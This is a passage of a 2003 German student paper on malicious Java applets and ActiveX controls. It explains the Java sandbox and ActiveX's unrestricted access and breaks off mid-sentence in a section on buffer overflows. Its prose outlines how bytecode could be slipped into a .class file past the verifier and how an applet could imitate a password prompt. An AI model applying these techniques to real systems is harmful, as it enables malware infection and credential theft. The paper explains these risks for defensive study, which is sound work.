Malicous Java Applets and ActiveX

Malicious Java Applets und ActiveX
Erstellt am 20. Februar 2003
Von: René Herrmann <[email protected]>
Betreuer: Prof. Dr. J.-M. Piveteau
Diese Arbeit wurde an der Hochschule Rapperswil, Abteilung Informatik geschrieben.
HSR
HOCHSCHULE FÜR TECHNIK
RAPPERSWIL
http://www.hsr.ch
Das Dokument und dessen Inhalt ist Eigentum der Hochschule Rapperswil, Schweiz.
c
2003
Hochschule Rapperswil
Typeset by LATEX
Die in diesem Dokument verwendeten Soft- und Hardwarebezeichnungen und Markennamen
der jeweiligen Firmen unterliegen zum Teil warenzeichen-, marken- oder patentrechtlichem
Schutz.
Zusammenfassung
In den vergangenen Jahren sind viele Diskussionen über die Sicherheitsrisiken von
ausführbarem Inhalt von Web-Seiten z.B. Java Applets und ActiveX Controls geführt
worden. Während vor allem die Entwickler solcher Technologien (z.B. Sun, Microsoft) die Benutzer überzeugen wollen, daß solche Techniken sicher angewendet werden können, sind viele Benutzer und Organisationen sehr skeptisch und vorsichtig
im Umgang mit solchen Technologien. Dieser Beitrag wird an den Beispielen Java
und ActiveX die Risiken solcher Technologien aufzeigen. Das Schwergewicht wird
dabei auf Java gelegt. Nach einer allgemeinen Besprechung der Problematik wird eine Übersicht der verwendeten Sicherheitskonzepte und deren Realisierung erläutert.
Anschliessend werden Schwachstellen aufgezeigt, die auf Probleme des Sicherheitskonzeptes aufmerksam machen sollen.
Inhaltsverzeichnis
Zusammenfassung
1 Einleitung
1.1 Zweck . . . . . . .
1.2 Gültigkeitsbereich
1.3 Struktur . . . . . .
1.4 Begriffe . . . . . .
iii
.
.
.
.
2
2
2
3
3
2 Malicious Mobile Code
2.1 Gefahrenszenarios . . . . . . . . . . . . . . . . . . . . . . . . . . . .
2.2 Möglichkeiten in Java . . . . . . . . . . . . . . . . . . . . . . . . . .
2.3 Möglichkeiten in Active X . . . . . . . . . . . . . . . . . . . . . . . .
4
4
5
8
3 Java Sicherheitsprinzipien
3.1 Sicherheitsmodell . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
3.2 Massnahmen gegen Malicious Code . . . . . . . . . . . . . . . . . . .
3.3 Design . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
9
9
10
11
4 Java Exploited
4.1 Manipulation einer Class-Datei . . . . . . . . . .
4.2 Komplexität der sicherheitskritischen Teile . . . .
4.3 Keine eindeutige Relation zwischen Bytecode und
4.4 Verteiltes Modell . . . . . . . . . . . . . . . . . .
4.5 Ärgerliche Java Programme . . . . . . . . . . . .
.
.
.
.
.
15
15
16
17
17
17
5 ActiveX
5.1 Sicherheitsprinzipien . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.2 Problemzonen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
5.3 Bekannte Attacken . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18
18
19
20
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
. . .
. . .
Java
. . .
. . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
. . . .
. . . .
Code
. . . .
. . . .
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
.
INHALTSVERZEICHNIS
6 Schlussfolgerung
6.1 Fazit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
6.2 Ausblick . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
22
22
22
A ActiveX Exploit
23
B Abkürzungsverzeichnis
25
Literaturverzeichnis
26
1
Kapitel 1
Einleitung
Beim Aufruf einer Webseite im Internet gelangen Informationen von einem fremden
System direkt auf den eigenen Computer. Dabei handelt es sich nicht nur um Texte
und Bilder sondern häufig auch um ausführbaren Programmcode. Dieser Programmcode wird auf dem heimischen Computer vom Browser oder einem automatisch gestarteten Programm interpretiert oder er befindet sich bereits in compiliertem Zustand
und wird direkt durch die CPU ausgeführt. Oft geschieht dies, ohne dass ein Interagieren des Benutzers nötig ist, geschweige denn der Benutzer davon in Kenntnis
gesetzt wird. Java Applets und ActiveX Komponenten sind Elemente im Internet,
die diese Mächtigkeit des selbstausführbaren Programmcodes in sich tragen. Die Gefahren die von Java Applets und ActiveX Komponenten ausgehen können liegen in
der automatischen Ausführung und dem Umstand, dass diese Information von einer
beliebigen auch nicht vertrauenswürdigen Quelle im Internet stammen kann. Aus
diesem Grund müssen für solche Komponenten spezielle Sicherheitsvorkehrungen
getroffen werden.
1.1
Zweck
Die vorliegende Arbeit gibt einen Einblick in die Machbarkeit, wie auch die möglichen
Auswirkungen von bösartigen Java Applets und ActiveX Komponenten. Sie ermöglicht
einem Internetbenutzer die Risiken, die von solchen Programmen ausgehen einzuschätzen. Die Erläuterung der vorhandenen Sicherheitsvorkehrungen sollen ihm
die Konfiguration seines Systems erleichtern.
1.2
Gültigkeitsbereich
In der vorliegenden Arbeit liegt das Schwergewicht in folgenden Bereichen:
• Bösartige Java Applets (auch Malicious Java Applets genannt)
Kapitel 1: Einleitung
• Bösartige ActiveX Komponenten (auch Malicious ActiveX genannt)
• Sicherheitsvorkehrungen gegen bösartigen Programmcode (in Java oder ActiveX)
Ganz bewusst ausgeschlossen bzw. sofern nötig nur am Rande betrachtet werden
folgende Themen
• theoretische Grundlagen der Sicherheit von Informationssystemen
• Java Virtual Machine
• Grundlagen der ActiveX Technologie
1.3
Struktur
Der Bericht ist folgendermassen strukturiert: Nach der Einleitung folgt ein Mögliches
Szenario mit einem bösartigen Java Applet, bzw. einer bösartigen ActiveX Komponente und eine Einführung in die Möglichkeiten von bösartigem Code. Nach einer
Erleuterungen der Java Sicherheitsprinzipien folgt eine Durchleuchtung von Teilen
der Sicherheitskomponenten und eine Darstellung von möglichen Schwächen. Nach
einem Kapitel über ActiveX und seinen Sicherheitsaspekten wird ein Fazit gezogen, dem ein Ausblick über zukünftig zu erwartende Entwicklungen im Bereich von
bösartigen Applets und ActiveX Komponenten folgt.
1.4
Begriffe
Der Begriff Applet wird stellvertretende für Java Applet“ verwendet. Die in engli”
scher Literatur verwendeten Begriffe ActiveX Controls“, ActiveX Elements“ wer”
”
den hier mit ActiveX Komponenten bezeichnet. Malicious Code“ und bösartiger
”
”
Programmcode“ werden als Synonyme verwendet.
Weitere in diesem Dokument verwendeten Abkürzungen sind im Anhang B auf
Seite 25 zusammengefasst. Das Literaturverzeichnis mit sämtlichen verwendeten Referenzen befindet sich auf Seite 26.
3
Kapitel 2
Malicious Mobile Code
Malicious Mobile Code oder bösartiger Code beschreibt ein Programm, das über ein
Neztwerk auf den Rechner geladen und ausgeführt werden kann und dem Benutzer in
irgendeiner Weise Schaden zu fügt. Im folgenden Kapitel wird ein mögliches Szenario
beschrieben, ein solches Programm Schaden verursachen könnte. Anschliessend wird
gezeigt, welche Möglichkeiten Java und ActiveX zur Programmierung von Malicious
Mobile Code bietet.
2.1
Gefahrenszenarios
Es gibt verschiedene Situationen in denen heruntergeladener und ausgeführter Programmcode dem Benutzer Schaden verursachen kann. In Zusammenhang mit bösartigem Programmcode sind vor allem folgende Sicherheitsaspekte von besonderem Interesse: Die Identifikation, Authentisierung, Autorisierung und die Berechtigungskontrolle. Für einen gezielt herbeigeführten Schaden ist in Abbildung 2.1 ein
Mögliches Angriffsszenario dargestellt.
1. Das Applet wird von einer Webseite geladen
2. Es stellt eine neue Verbindung zu einem benachbarten Rechner im internen
Netzwerk her und tauscht mit ihm Informationen aus
3. Es gelangen Daten zurück ins öffentliche Netz, die nur für das interne Netz
bestimmt waren
Schritt eins und drei sind legitime Verbindungen, falls die Firewall einen normalen
Webzugriff und die Browser-Einstellungen das ausführen von Java erlaubt, was in
der Regel den Standardeinstellungen entspricht. Die in Schritt zwei autonom durch
das Applet hergestellte Verbindung ist realistischer, als man vielleicht im ersten
Augenblick denkt. Ein lokal ausgeführtes Java Applet besitzt alle dazu notwendigen
Rechte. Wird vor der Ausführung des Programmes ein dazugehörendes Zertifikat
Kapitel 2: Malicious Mobile Code
mit einem simplen Mausklick bestätigt, ist der Aufbau einer solchen Verbindung
sowohl für ein heruntergeladenes Java Applet, wie auch eine ActiveX Komponente
erlaubt.
Abbildung 2.1: Angriffsszenario für ein Java Applet oder eine ActiveX Komponente
Die Ursachen für einen Schaden können verschiedener Natur sein:
• Programmierfehler
• Schwachstellen der Komponenten die ausgenutzt werden können
• gezielt oder zufällig Manipulierte Komponenten
• bösartige Komponenten
Ursachen für das Entstehen eines Schadens können durchaus auch ohne Absicht erfolgen. Die Sicherheitsvorkehrungen in der Laufzeitumgebung und bei der Übertragung
von ausführbarem Code müssen aber einer absichtlichen Schadensverursachung standhalten.
2.2
Möglichkeiten in Java
Eines der Hauptmerkmale von Java ist die Plattformunabhängigkeit. Java-Applets
können ohne Veränderungen auf einer großen Anzahl verschiedener Betriebssysteme
5
Kapitel 2: Malicious Mobile Code
ausgeführt werden (z.B. MS-Windows, MAC-OS, UNIX). Plattformunabhängigkeit
an sich stellt kein Sicherheitsproblem dar, allerdings kann es die Folgen und die
Verbreitung eines erfolgreichen Angriffs erhöhen. Bis heute hat sich die Vielfalt
der am Internet angeschlossenen Plattformen aus sicherheitstechnischer Sicht als
eine natürliche Barriere ausgewirkt. Dadurch waren Sicherheitsprobleme oft auf eine Plattform beschränkt. Ein Angriff, der mit Java realisiert würde, würde hingegen
nahezu alle gängigen Plattformen gefährden. Die Verbindung von java-fähigen Systemen durch ein globales Netz, wie das Internet erhöht die Zahl der Geschädigten
zusätzlich. Der Befehlssatz der Sprache und die verfügbaren Bibliotheken erlauben das entwickeln von mächtigen Programmen. Aus diesem Grund wird vor der
Ausführung eines Java Programmes die Entscheidung gefällt, ob es sich um ein
vertrauensvolles Programm (trusted Application) handelt oder nicht. Applets werden dabei als nicht vertrauensvoll eingstuft und werden unter den entsprechenden
Sicherheitsvorkehrungen (beschrieben auf der Sun Homepage [12]), innerhalb der
sogenannten Sandbox gestartet. Ein Applet kann
• eine Verbindung zu seinem Ursprungsserver1 aufzunehmen
• über die Verbindung zum Ursprungsserver persistente Daten halten
• beliebige System-Ressourcen (CPU und Hauptspeicher) für sich beanspruchen
• verschiedene Systemvariablen (Auflistung in Tabelle 2.1) abfragen
Die Ausgabe eines Applets2 , welches die Systemvariablen ausliest ist in Abbildung
2.2 zu sehen.
Tabelle 2.1: Für ein Applet einsehbare Systemvariablen
Variablenname
java.version
java.vendor
Bedeutung
Java Versionsnummer
herstellerspezifischer String des JavaHerstellers
URL des Java-Herstellers
Versionsnummer der Java Laufzeitumgebung
Name des Betriebssystems
Architektur des Betriebssystems
File Separator
Path Seperator
Zeichen für Zeilenumbruch
java.vendor.url
java.class.version
os.name
os.arch
file.separator
path.separator
line.separator
1
Der Ursprungsserver ist der Server von dem das Applet heruntergeladen wurde
Beispiel entnommen aus dem Java Tutorial von Sun[12] http://java.sun.com/sfaq/example/
getOpenProperties.html
2
6
Kapitel 2: Malicious Mobile Code
Abbildung 2.2: Beispiel Applet für das Auslesen von Systemvariablen
7
Kapitel 2: Malicious Mobile Code
2.3
Möglichkeiten in Active X
Folgendes Zitat von Microsoft gibt einen Eindruck der unterschiedlichen Handhabung der Sicherheit von ActiveX im Vergleich zu Java:
r component, there
Because an ActiveX control is a Microsoft Win32
”
is no sandboxing, that is, it can run without restrictions. You should
think about how you can restrict functionality to prevent others from
repurposing your control to possibly malicious ends.3“
Dies bedeutet, dass eine ActiveX Komponente alles tun kann, was die Programmiersprache in der es geschrieben wurde ermöglicht.
3
Aus Designing Secure ActiveX Controls“ von Microsoft [10], http://msdn.microsoft.com/
”
library/default.asp?url=/workshop/components/activex/intro.asp
8
Kapitel 3
Java Sicherheitsprinzipien
3.1
Sicherheitsmodell
Mit der Weiterentwicklung der Sprache Java hat Sun ihr Sicherheitsmodell immer
weiter differenziert. Abbildung 3.1 ist eine Darstellung1 des aktuellen Modells. Es
wird in Security in Java 2 SDK 1.2“ von Mary Dageforde [5] und in Java Security
”
”
Architecture (JDK1.2)“ von Li Gong [6] ausführlich erklärt.
Abbildung 3.1: Java Sicherheitsmodell seit JDK 1.2
1
Bild aus der Online-Lektion “Security Features Overview“ von Mary Dageforde [5], http://
java.sun.com/docs/books/tutorial/security1.2/overview/index.html
Kapitel 3: Java Sicherheitsprinzipien
Das mit Sandbox Restricted Access“ bezeichnete Feld abstrahiert eine von den
”
Zugriffsrechten eingeschränkte Laufzeitumgebung eines Java-Programmes. Es existieren verschiedene Abstufungen in der Stärke der Restriktionen des Zugriffs eines
Java-Programmes. Diese sind mit domain“ gekennzeichnet. Sie werden definiert
”
durch die Security Policy“. Wird ein Programm als vertrauenswürdig angesehen,
”
sei dies aufgrund der Policy oder weil es lokal ausgeführt wird besitzt es vollen
Resourcenzugriff (bezeichnet mit JVM Full Access to Resources“). Der Security
”
Manager übernimmt die Durchsetzung der Policy und kontrolliert den Zugriff auf
die Systemresourcen.
Standardmässig wird Remote Code wie z.B. Applets kein Zugriff außerhalb der
Sandbox gewährt. Der Java Security Manager prüft vor der Ausführung des Applets,
ob das Programm keine unberechtigten Zugriffe enthält und verhindert diese ggf.
während der Laufzeit.
Seit JDK 1.1 existieren sog. Signed Applets. Diese signierten Applets, die in einem JAR-Archiv (beim Internet Explorer in einem CAB-Archiv) gespeichert sein
müssen, werden zusammen mit einer digitalen Signatur auf den Client-Rechner geladen. Vertraut der Client der Signatur, erhält das Programm vollen Zugriff auf alle
Ressourcen und wird somit wie eine Applikation lokalen Ursprungs behandelt.
Seit Java 2 existiert ein differenzierteres Sicherheitsmodell durch die sog. security
policy, eine Art Datenbank, in der Sicherheitseinstellungen gespeichert werden. Dadurch ist es möglich, die Zugriffsrechte für die einzelnen Programme - egal ob lokal
oder über das Netz geladen - genauer zu spezifizieren. So kann beispielsweise für
jedes Programm genau festgelegt werden, welche Dateien und Verzeichnisse gelesen
oder verändert werden dürfen oder auf welche Netzwerkverbindungen zugegriffen
werden darf. Damit dies möglich ist, organisiert das Laufzeitsystem Programme in
Domains. Jede Instanz des Programms erhält die gleichen Zugriffsbeschränkungen.
Lokal gestartete Java-Applikationen laufen per Voreinstellung mit uneingeschränktem Zugriff, können aber optional durch die security policy in ihren Rechten eingeschränkt werden.
3.2
Massnahmen gegen Malicious Code
Die wichtigsten Sicherheitsaspekte von Java im Zusammenhang mit malicious Code
sind:
• Identifikation und Authentisierung
• Autorisierung (Rechteverwaltung)
• Berechtigungskontrolle (Rechteprüfung)
Im Folgenden werden die angesprochenen Sicherheitsaspekte genauer erläutert.
10
Kapitel 3: Java Sicherheitsprinzipien
Die Java Virtual Machine (JVM) muss als erstes die auszuführende .classDatei als Java-Bytecode-Datei identifizieren. Dabei wird auch überprüft, ob das
Programm, welches vorgibt ein vertrauswürdiges Programm zu sein auch tatsächlich
vertrauenswürdig ist (Authentifizierung).
Über Autorisierungs Mechanismen soll es möglich sein nicht vertrauenswürdigen
Code anders zu behandeln als vertrauenswürdigen Code. Bei einfacheren Betriebssystemen erhalten die von einem Nutzer gestarteten Programme dieselben Rechte wie der Nutzer selbst. Diese Eigenschaft ist für vertrauenswürdigen Code unter Umständen durchaus ausreichend, stellt aber ein eherebliches Sicherheitsrisiko
dar, wenn ein Benutzer sowohl vertrauenswürdigen als auch unsicheren Code zur
Ausführung bringen will. Wegen der Portabilität von Java, muss Java selber eine Rechteverwaltung implementieren. Diese Implementation ist innerhalb der virtuellen Maschine zu finden. Sie verwaltet die Rechte der Programme und ihre Zugriffsmöglichkeiten auf Betriebsmittel. Zu den Betriebsmitteln gehören beispielsweise
Dateien und Kommunikationskanäle zu Programmen auf anderen Rechnern.
Bei der Berechtigungskontrolle geht es darum jeden Zugriff auf seine Zulässigkeit
zu prüfen und unzulässige Zugriffe abzuweisen.
3.3
Design
Zur Überwachung der Sicherheitsbeschränkungen durch die Sandbox sind in der
Laufzeitumgebung drei Sicherheitskomponenten implementiert, die den Java-Code
überprüfen: Der Bytecode Verifier (auch Java Verifier genannt), der Class Loader
und der Security Manager und seit der Version Java 1.2 der Access Controller.
3.3.1
Bytecode Verifier
Der Bytecode Verifier prüft vor dem Ausführen der Klasse, ob die geladenen Applets
der Java-Sprachspezifikation entsprechen. Ist dies nicht der Fall, wird die angeforderte Klasse verweigert und eine Exception ausgelöst. Diese Überprüfung ist unverzichtbar, da bei Applets von unbekannten Quellen nicht davon ausgegangen werden
kann, dass ein korrekt funktionierender Compiler (oder überhaupt ein Compiler)
verwendet wurde, um das Applet zu erzeugen. Der Verifier versucht ebenfalls festzustellen, ob ein Applet die Kontrolle des Security Managers zu umgehen versucht
oder ob das Applet irreguläre Zustände verursachen könnte.
Zusammenfassend wird der Bytecode auf folgende Eigenschaften hin geprüft:
• haben alle Bytecode-Befehle die richtige Anzahl von Operanden und sind die
Operanden vom richtigen Typ
• gibt es illegale Casts
11
Kapitel 3: Java Sicherheitsprinzipien
• erfolgt der Zugriff auf private, public und protected Klassen bzw. Elementeklassen korrekt
• werden Speicherstellen direkt angesprungen
3.3.2
Class Loader
Der Klassenlader übernimmt zwei Funktionen. Wenn die JVM zusätzliche Klassen
anfordert, wird der Klassenlader aktiviert und lädt über eigene Methoden die angeforderten Klassen (über das Internet oder von der lokalen Festplatte). Der Java
Class Loader teilt jeder Klasse einen sogenannten Namespace (Namensraum) zu.
Alle Klassen, die von einem Server geladen werden, erhalten denselben Namespace.
Nur die Klassen eines Namespace können sich gegenseitig beeinflussen, jedoch nicht
auf Klassen in anderen Namespaces zugreifen.
Die Aufgabe des Class Loaders ist es, dem auszuführenden Applet alle erforderlichen Klassenbibliotheken zur Verfügung zu stellen. Von entscheidender Bedeutung
ist dabei die Herkunft einer Klasse. Die Klassen, die lokal in einem speziellen Verzeichnis (spezifiziert in der Umgebungsvariable CLASSPATH) abgelegt sind, werden
nicht denselben Kontrollen unterzogen wie Klassen, die über das Internet geladen
werden. Wenn ein Applet eine entsprechende Klasse benötigt, durchsucht der Class
Loader zuerst die lokalen Klassen und anschließend erst externe Quellen (z. B. das
Herkunftsverzeichnis des Applets im Internet). Der Class Loader sorgt ebenfalls
dafür, daß verschiedene Applets, die gleichzeitig auf dem System ausgeführt werden, sich nicht gegenseitig beeinflußen können. Dies wird mit Hilfe eines getrennten
Namensraums für jedes Applet realisiert.
3.3.3
Security Manager
Der Java Security Manager wacht über die System Resourcen, wie z.B. das File
System, und prüft beim Zugriff auf diese, ob das Programm die entsprechende Berechtigung dazu besitzt. Er kann von keiner Klasse übergangen werden, wenn sie
einen Zugriff auf eine Ressource des Systems vornehmen will. Per Default erhalten Applikationen uneingeschränkten Zugriff auf alle Ressourcen, während Applets
mit den Zugriffsbeschränkungen durch eine Sandbox ausgeführt werden. Fordert ein
Programm den Zugriff auf unberechtigte Ressourcen, wird eine Security Exception
ausgelöst. Das folgende Applet2 löst eine Security Exception aus, da es versucht in
eine Datei Namens writetest zu schreiben:
/*
* By default, this applet raises a security exception, unless
* you configure your policy to allow applets from its location
2
Das Beispiel wurde aus einem Tutorial von Sun [11] entnommen, http://java.sun.com/docs/
books/tutorial/security1.2/tour1/step1.html
12
Kapitel 3: Java Sicherheitsprinzipien
* to write to the file "writetest".
*/
import
import
import
import
java.awt.*;
java.io.*;
java.lang.*;
java.applet.*;
public class WriteFile extends Applet {
String myFile = "writetest";
File f = new File(myFile);
DataOutputStream dos;
public void init() {
String osname = System.getProperty("os.name");
}
public void paint(Graphics g) {
try {
dos = new DataOutputStream(new BufferedOutputStream(
new FileOutputStream(myFile),128
);
dos.writeChars("Cats can hypnotize you when you least expect it\n");
dos.flush();
g.drawString("Successfully wrote to the file named " + myFile +
" -- go take a look at it!",10, 10);
}
catch (SecurityException e) {
g.drawString("writeFile: caught security exception: " + e, 10, 10);
}
catch (IOException ioe) {
g.drawString("writeFile: caught i/o exception", 10, 10);
}
}
}
Damit das Programm auf eine Datei zugreifen kann müsste ein Eintrag in der
Policy-Datei gemacht werden. Eine Policy-Datei3 spezifiziert die Rechte für Programmcode von einer bestimmten Quelle(URL), mit einer bestimmten Signatur oder
3
Wie eine Policy-Datei erstellt und genutzt wird ist auf der Sun Webseite [11] unter
http://java.sun.com/docs/books/tutorial/security1.2/tour1/step1.html zu finden
13
Kapitel 3: Java Sicherheitsprinzipien
beidem.
3.3.4
Access Controller
Der Security Manager delegiert die Durchsetzung der Policy an den Access Controller. Dieser prüft ob die Rechte, die durch die aufgerufenen Funktion benötigt werden
mit den, in der Policy gesetzten Rechten übereinstimmen.
14
Kapitel 4
Java Exploited
Anhand von verschiedenen Ansätzen soll im Folgenden die Sicherheit von Java genauer untersucht werden.
4.1
Manipulation einer Class-Datei
Ein Virus1 , datenmanipulierend, sich autonom ausbreitend und auf jedem Betriebssystem lauffähig, wäre eine ernst zu nehmende Bedrohung.
Um einen Virus zu realisieren sind folgende Aufgaben zu lösen:
1. Eine nicht infizierte Datei finden
2. Den eigenen Viruscode in die Datei einfügen
3. Den Programmablauf der Datei so manipulieren, dass der Virus ausgeführt
wird, bevor die Kontrolle an den ursprünglichen Programmteil übergeben wird.
Angenommen der Datenzugriff ist dem ausgeführten Java-Programm erlaubt, bestände die schwierigste Aufgabe darin andere potentielle Wirte zu manipulieren.
Können kompilierte .class-Dateien andere manipulieren?
Soll eine .class-Datei manipuliert werden, muss dies auf eine Weise erfolgen, dass
der Bytecode-Verifier nichts davon bemerkt. Mit jeder Methode werden in der .classDatei verschiedene Datenbytes hinterlegt. Die Struktur dieser Methodendaten und
ihre Bedeutung ist aus der Tabelle 4.1 ersichtlich. Die Bytes 5-10 beschreiben die
Attribute2 der Methode.
1
2
Details entommen aus einem Artikel des Magazins Datenschutz und Datensicherheit“ [13]
”
Attribute für das Exception-Handling wurden weggelassen
Kapitel 4: Java Exploited
Tabelle 4.1: Datenwerte einer Methode in der Java BytecodeDatei
Nr.
1
2
3
4
5
6
7
8
9
10
Anz.
Bytes
2
2
2
2
2
4
2
2
4
var.
Bedeutung
Klassenzugriffs-Flag
Methodenname (Refernz auf einen Wert im Konstantenpool)
Typ der Methode
Anzahl der Attribute
Zeigt auf eine Konstante im Pool mit dem Wert ’Code’
Länge aller Attribute der Methode
Max. Stackgrösse
Max. Anzahl lokaler Variablen
Länge des eigentlichen Bytecodes
Auszuführender Java-Bytecode
Erweitern man beispielsweise eine Methode mit eigenem Bytecode, muss der
eigene Bytecode im Feld Auszuführender Java-Bytecode“(Byte Nr. 10) eingefügt
”
werden. Damit der Verifier nicht Alarm schlägt ist das Feld Länge des eigent”
lichen Bytecodes“(Byte Nr. 9), um die Anzahl eingefügter Bytes zu erhöhen. Byte
Nummer 6 ändert sich ebenfalls, um den gleichen Betrag. Eine auf diese Weise manipulierte .class-Datei erfüllt immer noch vollständig die vom Verifier(Abschnitt 3.3.1)
geprüften Bedingungen.
4.2
Komplexität der sicherheitskritischen Teile
In der Literatur wird oft darauf hingewiesen, daß es das Ziel sein sollte, den sicherheitskritischen Teil eines Systems (Trusted Computing Base, TCB) so klein und
einfach wie möglich zu gestalten. Denn je größer der sicherheitskritische Teil eines
Systems ist, desto schwieriger ist es, diesen Teil fehlerfrei zu implementieren bzw.
nachzuweisen, daß er als Ganzes effektiv ist. Ist dagegen der sicherheitskritische
Teil kompakt, kann möglicherweise die Fehlerfreiheit formal verifiziert werden. Im
Java- System ist der sicherheitskritische Teil relativ groß (ca. 23.000 Code-Zeilen),
was eine intensive Überprüfung sehr aufwendig werden läßt. Die Schwierigkeit, das
Java- Sicherheitsmodell korrekt zu implementieren, manifestiert sich auch in den bei
Browser-Implementierungen immer wieder aufgetretenen Problemen [1],[2].
16
Kapitel 4: Java Exploited
4.3
Keine eindeutige Relation zwischen Bytecode und
Java Code
Es gibt keine Möglichkeit nachzuweisen, daß es nicht möglich ist, Bytecode zu schreiben, der zwar nicht der Java-Sprachdefinition entspricht, aber trotzdem vom Bytecode Verifier als gültig anerkannt wird. Es ist bereits gelungen, gültigen Bytecode zu
schreiben, der von einem Java-Compiler nicht generiert werden kann [9]. Die JavaSprachspezifikation und deren Einhaltung sind jedoch von zentraler Bedeutung für
das Java-Sicherheitsmodell. Daher ist dieses Problem besonders kritisch, denn es
kann zu einer Untergrabung des Java-Sicherheitssystems führen.
4.4
Verteiltes Modell
Eine der Schwächen des Java-Modells ist, daß es sich um ein verteiltes Modell
handelt. Alle Sicherheits-Checks werden auf jedem einzelnen ausführenden Rechner durchgeführt. Die TCB wird dabei beliebig groß. Um sicherzustellen, daß ein
komplettes Netzwerk gegen Java-Angriffe geschützt ist, muß daher sichergestellt werden, daß jeder einzelne Rechner sicher ist. In der Firewall-Literatur [4] wird immer
wieder darauf hingewiesen, daß eine Verteidigungsstrategie, bei der jeder einzelne
Netzwerk-Rechner geschützt werden soll, nahezu unmöglich zu kontrollieren und
zu administrieren ist. Wie bereits erwähnt, kann bereits ein ungeschützter Rechner
dazu führen, daß ein Angreifer Zugriff auf mehrere Komponenten eines Netzwerks
gewinnt.
4.5
Ärgerliche Java Programme
Generell ist alleine mit den einem Java Applet erlaubten Funktionen kein grosser
Schaden anzurichten. Allerdings ist es möglich, nicht besonders aufmerksamen oder
nicht informatik-kundigen Benutzern zu Schaden, indem mittels Javaprogrammen
Dinge vorgetäuscht werden. Zum Beispiel könnte eine Passworteingabe programmiert werden, die ähnlich aussieht, wie eine, vom System verwendete Passworteingabe. In der aktuellen Java Version ist das Erzeugen eines Porgrammfensters ohne
einen Rahmen, der einen Programmtitel enthält mit einem Java Applet allerdings
nicht möglich. Dies wäre von Vorteil, damit das Programm nicht gleich entlarvt
wird.
Programme die den Benutzer einfach nur auf die Nerven gehen sollen, indem sie,
solange der Browser nicht geschlossen wird, immer wieder geräusche von sich geben,
sind ebenfalls einfach zu realisieren.
17
Kapitel 5
ActiveX
Die ActiveX Technologie wurde von Microsoft nicht speziell für den Einsatz auf
dem Internet entwickelt, sondern ist eine Art Nebenprodukt der Component Objekt
Model (COM) Technologie, die eine wichtige Komponente der Microsoft Windows
Architektur geworden ist (Ausführliche Zusammenhänge erklärt im Byte Magazin,
September 1997 [3]). Teile dieser Technologie (z.B. OLE) wird von den meisten
Windows-Anwendern unwissentlich fast täglich eingesetzt. OLE erlaubt es z.B. Objekte in Microsoft Office Dokumente einzufügen (z.B. ein Excel-Sheet in ein WordDokument). Die ActiveX Technologie wird derzeit nahezu ausschließlich von Microsoft Windows Plattformen in Verbindung mit dem Microsoft Internet Explorer
unterstützt. Auf der ActiveX Technologie beruhende Programme werden in Form sogenannter Controls vom Internet geladen. Durch geeignete Plug-Ins können ActiveX
Komponenten inzwischen auch mit Netscape Browsern benutzt werden. Microsoft
strebt außerdem danach die COM Technologie und damit auch ActiveX auf andere
Plattformen (z.B. MAC-OS) zu erweitern.
5.1
Sicherheitsprinzipien
ActiveX Komponenten können prinzipiell in jeder beliebigen Programmiersprache
programmiert sein (am häufigsten C/C++, Visual Basic) und werden in maschinenabhängiger Form auf dem Internet bereitgestellt und heruntergeladen. Zur Ausführung
auf dem Zielsystem benötigen ActiveX Komponenten einen sogenannten Container.
In unserem Fall ist das ein ActiveX fähiger Browser. Ansonsten werden ActiveX
Komponenten wie traditionelle Anwendungen auf dem Zielsystem ausgeführt. Dies
hat zur Folge, daß ActiveX Komponenten wie traditionelle Applikationen direkt
auf das Betriebssystem und die Systemressourcen zugreifen (siehe Abbildung 5.1)
können.
Kapitel 5: ActiveX
Abbildung 5.1: ActiveX Modell
Für Windows 95/98 bedeutet dies vollen Zugriff auf alle Ressourcen. Unter WindowsNT hat die Komponente die gleichen Rechte wie der Browser selber bzw. jede
andere Applikation die unter dem selben Benutzerkonto ausgeführt wird.
Da die ActiveX Technolgie nicht speziell für den Einsatz auf dem Internet entwickelt wurde, spielten Sicherheitsüberlegungen bei der Entwicklung keine Rolle.
Aus diesem Grund verfügt ActiveX, anders als Java, über kein spezifiziertes Sicherheitsmodell. Für den Einsatz auf dem Internet wurde nachträglich die Möglichkeit
eingeführt, ActiveX Komponenten digital zu signieren. Wenn eine so signierte Komponente geladen wird, wird der Benutzer vor die Wahl gestellt, die Ausführung
zuzulassen oder zu unterbinden. Der Benutzer hat außerdem die Möglichkeit die
Ausführung von Komponenten die von bestimmten Quellen signiert wurden generell
zu gestatten bzw. zu verbieten. Wird die Ausführung zugelassen hat die ActiveX
Komponente automatisch vollen Zugriff.
5.2
Problemzonen
Die Zusammenstellung der folgenden Kritikpunkte an ActiveX entspricht inhaltlich
den Punkten aus dem Kapitel Malicous ActiveX Controls“ aus dem Buch Mali”
”
cious Mobile Code“ von Roger A. Grimes [7].
19
Kapitel 5: ActiveX
5.2.1
Keine Sandbox
Ein Hauptkritikpunkt an ActiveX ist, dass die Komponenten nicht isoliert ausgeführt werden können. Da in ActiveX alles programmiert werden kann, was in einer
gängigen Progrmmiersprache möglich ist, können damit auch auch Dateizugriffe und
der Aufbau beliebiger anderer Internetverbindungen progrmmiert werden. Innerhalb
der Sandbox von Java ist dies nicht möglich.
5.2.2
Fehlerhafte Komponenten
Für umfangreichere Programme ist es praktisch unmöglich zu Beweisen, dass sie
fehlerfrei sind. Noch schwieriger ist es herauszufinden, ob es möglicherweise eine
Situation gibt, in dem das Programm für einen anderen Zweck missbraucht werden
könnte. Jede ActiveX Komponente ist in diesem Sinne ein Risiko.
5.2.3
Buffer Overflows
Standardmässig überprüft ActiveX keine übergebenen Parameter auf ihre Korrektheit. Eine ActiveX Komponente, die nicht mit speziellem Augenmerk auf Sicherheit
programmiert wurde, und davon gibt es eine Menge, könnte übergebene Daten in
